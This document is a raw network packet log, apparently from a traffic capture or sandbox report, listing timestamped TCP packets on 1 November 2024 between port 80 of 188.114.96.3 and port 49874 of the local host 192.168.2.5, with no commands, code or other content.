Nov 1, 2024 15:14:59.778644085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.778661013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.778713942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.778713942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.779108047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779124975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779126883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779131889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779143095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779158115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.779179096 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.779203892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.779861927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779877901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779891014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.779901981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.779925108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.819492102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.819569111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.819585085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.819596052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.819633007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.858736038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.858844995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.858851910 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.858861923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.858881950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.858958006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.859226942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859241962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859262943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.859298944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.859586000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859600067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859617949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859625101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.859632969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.859644890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.859682083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.860521078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.860537052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.860551119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.860565901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.860565901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.860583067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.860599041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.860629082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.861294985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861310959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861326933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861344099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861352921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.861360073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861382961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.861423969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.861423969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.861423969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.939291954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939320087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939338923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939435959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.939631939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939646959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939662933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939680099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.939691067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.939724922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.940423965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.940439939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.940485954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.940648079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.940664053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.940711975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.940769911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.941091061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.941107035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.941122055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.941137075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.941140890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.941140890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.941189051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.942137003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.942153931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.942171097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.942187071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.942198038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.942198038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.942217112 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.942986012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943026066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943039894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943057060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943072081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943092108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.943092108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.943092108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.943131924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.943667889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943686008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943701029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943718910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.943772078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.943844080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.944489002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.944508076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.944523096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.944540024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.944550037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.944555044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.944559097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.944607019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.945353985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.945369959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.945385933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.945403099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.945405006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.945415020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.945442915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.946235895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946252108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946268082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946284056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946299076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946345091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.946345091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.946345091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.946924925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946942091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946957111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946971893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.946988106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947002888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947002888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947021008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947092056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947771072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947788000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947803020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947818995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947834015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947835922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947850943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.947855949 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947891951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.947909117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.948653936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.948689938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.948704958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.948721886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.948736906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.948775053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.948775053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.948775053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.948793888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.949508905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949532986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949548960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949564934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949579000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949590921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.949600935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.949682951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.949682951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.949682951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.950366974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.950382948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.950404882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.950421095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.950440884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.950474024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.950474024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.950474024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.950474024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.950489998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951232910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951248884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951271057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951289892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951293945 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951303959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951304913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951328993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.951364994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951383114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951383114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.951383114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.952085018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952100992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952119112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952135086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952151060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952159882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.952174902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.952227116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.952958107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952965021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952970028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952979088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.952995062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953013897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953031063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953064919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953064919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953809977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953825951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953841925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953857899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953865051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953865051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953874111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953897953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.953937054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953977108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.953977108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.954648018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954674006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954689980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954705954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954720974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954729080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.954754114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.954777002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.954777002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.954826117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.955586910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955610037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955625057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955641031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955648899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.955665112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955681086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955682039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.955682039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.955697060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.955776930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.955776930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.956548929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.956567049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.956584930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.956602097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.956621885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.956687927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.976211071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976248026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976264954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976346016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.976397991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.976567030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976583004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976598024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976613045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.976614952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.976634979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.976680040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.977210999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977224112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977240086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977256060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977269888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977287054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977302074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.977308989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.977308989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.977385998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.977385998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.977385998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978075027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978091002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978107929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978121042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978126049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978140116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978154898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978157043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978157043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978215933 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978889942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978905916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978919983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978935957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978952885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.978959084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.978970051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979020119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979038000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979038000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979778051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979794979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979809999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979825974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979829073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979841948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979865074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979877949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.979929924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979943037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979954004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.979954004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.139621973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.139700890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.139749050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.139765978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.139791965 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.139842987 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.139923096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.139940023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.139978886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.139992952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140217066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140233040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140248060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140278101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140278101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140325069 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140692949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140707970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140723944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140739918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140755892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140758991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.140794992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.140794992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.141406059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141423941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141439915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141463995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141479969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141495943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.141499043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.141499043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.141535044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.141535997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.142216921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142231941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142246962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142262936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142262936 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.142280102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142293930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.142294884 CET	49874	80	192.168.2.5	188.114.96.3
